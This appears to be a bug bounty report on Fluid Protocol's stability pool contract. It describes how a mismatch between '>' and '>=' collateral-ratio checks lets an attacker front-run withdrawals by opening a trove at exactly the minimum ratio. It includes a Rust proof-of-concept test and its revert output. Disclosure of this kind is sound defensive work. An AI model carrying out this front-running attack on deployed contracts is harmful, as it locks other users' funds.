In the withdraw_from_stability_pool function from stability-pool-contract/src/main.sw, there is an initial check called require_no_undercollateralized_troves. Unfortunately, this check condition is inappropriate, allowing attackers to prevent legitimate withdrawal operations through front-running at any time. As a result, users' USDF and generated rewards remain locked in the stability pool and cannot be withdrawn.
Vulnerability Details
A critical vulnerability exists in the stability pool contract where users' ability to withdraw their USDF funds can be maliciously blocked through a front-running attack. This is caused by an inconsistency between collateral ratio checks in different contract functions.
The vulnerability stems from the withdraw_from_stability_pool function's implementation, specifically in its require_no_undercollateralized_troves check:
The key issue lies in the inequality operator (>) used to compare the Individual Collateral Ratio (ICR) with the Minimum Collateral Ratio (MCR). However, the open_trove function uses a different comparison:
fn require_at_least_mcr(icr: u64) {
require(
icr >= MCR, // Uses >= instead of >
"Borrow Operations: Minimum collateral ratio not met",
);
}
This inconsistency creates an exploitable condition:
Users can legitimately open or adjust troves with exactly MCR (ICR = MCR)
The stability pool withdrawal function will revert if any trove has ICR ≤ MCR An attacker can exploit this by:
Monitoring the mempool for stability pool withdrawal transactions
Front-running these transactions by opening a trove with ICR = MCR
This causes the victim's withdrawal transaction to fail due to the strict inequality check As a result, attackers can effectively prevent specific users from withdrawing their USDF and accumulated gains from the stability pool, creating a denial-of-service condition for legitimate withdrawals. It is possible to lock specific users' fund in the pool as long as possible with little cause.
Possible Fix
Relaxation of withdrawal restrictions, allow user withdraw their fund even when undercollateralized troves exists.
Impact Details
The vulnerability creates a severe denial-of-service condition that directly impacts both users' funds and the protocol's stability. The impact can be broken down into several critical areas:
Direct Financial Impact
Users' USDF deposits and earned collateral rewards become inaccessible in the Stability Pool
Attackers can selectively target and lock specific users' funds indefinitely
Loss of potential earnings from FPT token distributions and collateral rewards
The affected amounts could be significant, as the Stability Pool typically holds substantial deposits
Protocol Stability Risks
Liquidity Impairment:
Reduced effectiveness of the Stability Pool as the first line of defense for liquidations
Decreased Total Collateral Ratio (TCR) protection capability
Potential cascading effect on the protocol's ability to maintain stable operations
Systemic Risks:
Loss of user confidence leading to reduced deposits in the Stability Pool
Increased vulnerability to bank run scenarios
Compromised liquidation mechanisms if Stability Pool liquidity becomes insufficient
Long-term Protocol Damage
Reputational damage to Fluid Protocol
Reduced user trust leading to decreased protocol adoption
Potential exodus of existing users due to fund accessibility concerns
Negative impact on protocol's competitive position in the DeFi ecosystem
The severity is heightened because:
The attack can be executed at any time
It requires very low cost to execute
The impact is persistent until protocol code is updated
There's no immediate workaround for affected users
This vulnerability falls within the program's scope as it directly impacts fund accessibility and protocol stability, warranting a critical-severity classification.
References
None
Proof of Concept
Proof of Concept
Add following test in contracts/stability-pool-contract/tests/functions/failure.rs
#[tokio::test]
#[tokio::test]
async fn fails_withdraw_underattack() {
let (contracts, admin, mut wallets) = setup_protocol(4, false, false).await;
oracle_abi::set_debug_timestamp(&contracts.asset_contracts[0].oracle, PYTH_TIMESTAMP).await;
pyth_oracle_abi::update_price_feeds(
&contracts.asset_contracts[0].mock_pyth_oracle,
pyth_price_feed(1),
)
.await;
// Admin opens a trove and deposits to stability pool
borrow_operations_utils::mint_token_and_open_trove(
admin.clone(),
&contracts.asset_contracts[0],
&contracts.borrow_operations,
&contracts.usdf,
&contracts.fpt_staking,
&contracts.active_pool,
&contracts.sorted_troves,
6_000 * PRECISION,
3_000 * PRECISION,
)
.await;
let init_stability_deposit = 2_000 * PRECISION;
stability_pool_abi::provide_to_stability_pool(
&contracts.stability_pool,
&contracts.community_issuance,
&contracts.usdf,
&contracts.asset_contracts[0].asset,
init_stability_deposit,
)
.await
.unwrap();
let attacker_wallet = wallets.pop().unwrap();
// Open one trove that icr = MCR
borrow_operations_utils::mint_token_and_open_trove(
attacker_wallet.clone(),
&contracts.asset_contracts[0],
&contracts.borrow_operations,
&contracts.usdf,
&contracts.fpt_staking,
&contracts.active_pool,
&contracts.sorted_troves,
135675 * 10000000, // 1356.75
100000 * 10000000, // 1000
// 1346.75 / (1000* 1.005 ) = 1.35
)
.await;
let icr = trove_manager_abi::get_nominal_icr(
&contracts.asset_contracts[0].trove_manager,
Identity::Address(attacker_wallet.address().into()),
)
.await
.value;
println!("Attacker Initial ICR: {}", icr);
// Admin try to withdraw from stability pool but failed
let withdraw_result = stability_pool_abi::withdraw_from_stability_pool(
&contracts.stability_pool,
&contracts.community_issuance,
&contracts.usdf,
&contracts.asset_contracts[0].asset,
&contracts.sorted_troves,
&contracts.asset_contracts[0].oracle,
&contracts.asset_contracts[0].mock_pyth_oracle,
&contracts.asset_contracts[0].mock_redstone_oracle,
&contracts.asset_contracts[0].trove_manager,
1_000 * PRECISION,
)
.await
.unwrap();
}
run cargo test -- --nocapture fails_withdraw_underattack, output like:
Deploying core contracts...
Initializing core contracts...
Attacker Initial ICR: 1350000000
thread 'functions::failure::fails_withdraw_underattack' panicked at contracts/stability-pool-contract/tests/functions/failure.rs:287:6:
called `Result::unwrap()` on an `Err` value: Transaction(Reverted { reason: "AsciiString { data: \"StabilityPool: There are undercollateralized troves\" }", revert_id: 18446744073709486080, receipts: [Call { id: 0000000000000000000000000000000000000000000000000000000000000000, to: 97aad73cda23682bc048db771fbfd24b504bfbfc268d0a4c17d7a5d849cbbb24, amount: 0, asset_id: 0000000000000000000000000000000000000000000000000000000000000000, gas: 1999782, param1: 10480, param2: 10516, pc: 14992, is: 14992 }, Call { id: 97aad73cda23682bc048db771fbfd24b504bfbfc268d0a4c17d7a5d849cbbb24, to: dacc1a9d034b06ed38cc88a81716c63be6e96af55638bf4d812b80065a0aa0fb, amount: 0, asset_id: 0000000000000000000000000000000000000000000000000000000000000000, gas: 1988415, param1: 67104992, param2: 67103968, pc: 130192, is: 130192 }, Call { id: dacc1a9d034b06ed38cc88a81716c63be6e96af55638bf4d812b80065a0aa0fb, to: 470221c712db655d85d8a3b753813c6bb0217baadd2fcd10c44c798eb2d6e764, amount: 0, asset_id: 0000000000000000000000000000000000000000000000000000000000000000, gas: 1984436, param1: 67101344, param2: 67100320, pc: 182137, is: 182137 }, ReturnData { id: 470221c712db655d85d8a3b753813c6bb0217baadd2fcd10c44c798eb2d6e764, ptr: 67097760, len: 28, digest: a9dd65fcff83b6bccf652da94d61edd8632ff002061afc77e498266005f6be0c, pc: 184173, is: 182137, data: Some(00000000000000000000000900...) }, ReturnData { id: dacc1a9d034b06ed38cc88a81716c63be6e96af55638bf4d812b80065a0aa0fb, ptr: 67095968, len: 8, digest: 59f603c39018dc65fbf3007d91985355b0e27df2993aab3c4a9e4b5ea36c5996, pc: 147476, is: 130192, data: Some(000000003b9aca00) }, Call { id: 97aad73cda23682bc048db771fbfd24b504bfbfc268d0a4c17d7a5d849cbbb24, to: 07e7d97ebfe3a075049fa9606e2b4311e754f6edcfc06d5ead8a0e9a17116ccd, amount: 0, asset_id: 0000000000000000000000000000000000000000000000000000000000000000, gas: 1978376, param1: 67094688, param2: 67093664, pc: 129632, is: 129632 }, ReturnData { id: 07e7d97ebfe3a075049fa9606e2b4311e754f6edcfc06d5ead8a0e9a17116ccd, ptr: 67090272, len: 40, digest: 2e0cc4f65421eb00c527deb8171afd28931d36a7673d00ddbb7ccbfa672a70d4, pc: 150624, is: 129632, data: Some(0000000000000000bdaad6a89e...) }, Call { id: 97aad73cda23682bc048db771fbfd24b504bfbfc268d0a4c17d7a5d849cbbb24, to: a62d03ea269befad62607da0ddf44fb5de7a9ebe2b71f0138e56d01da3c7a6ff, amount: 0, asset_id: 0000000000000000000000000000000000000000000000000000000000000000, gas: 1970979, param1: 67089248, param2: 67088224, pc: 129632, is: 129632 }, ReturnData { id: a62d03ea269befad62607da0ddf44fb5de7a9ebe2b71f0138e56d01da3c7a6ff, ptr: 67083089, len: 8, digest: 8fa3199efd886c0c617c0e4ec573081d7d41cef417c75c57982f8c0c2bda2f0b, pc: 160508, is: 129632, data: Some(0000000050775d80) }, LogData { id: 97aad73cda23682bc048db771fbfd24b504bfbfc268d0a4c17d7a5d849cbbb24, ra: 0, rb: 10098701174489624218, ptr: 67082065, len: 59, digest: f639b7c06eaaab629f291059fce4bc05b62f7592bf3f0071805b3bdae77d58de, pc: 41120, is: 14992, data: Some(00000000000000335374616269...) }, Revert { id: 97aad73cda23682bc048db771fbfd24b504bfbfc268d0a4c17d7a5d849cbbb24, ra: 18446744073709486080, pc: 41128, is: 14992 }, ScriptResult { result: Revert, gas_used: 106724 }] })
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
test functions::failure::fails_withdraw_underattack ... FAILED
failures:
failures:
functions::failure::fails_withdraw_underattack
test result: FAILED. 0 passed; 1 failed; 0 ignored; 0 measured; 11 filtered out; finished in 9.73s
The withdraw operation is blocked by StabilityPool: There are undercollateralized troves.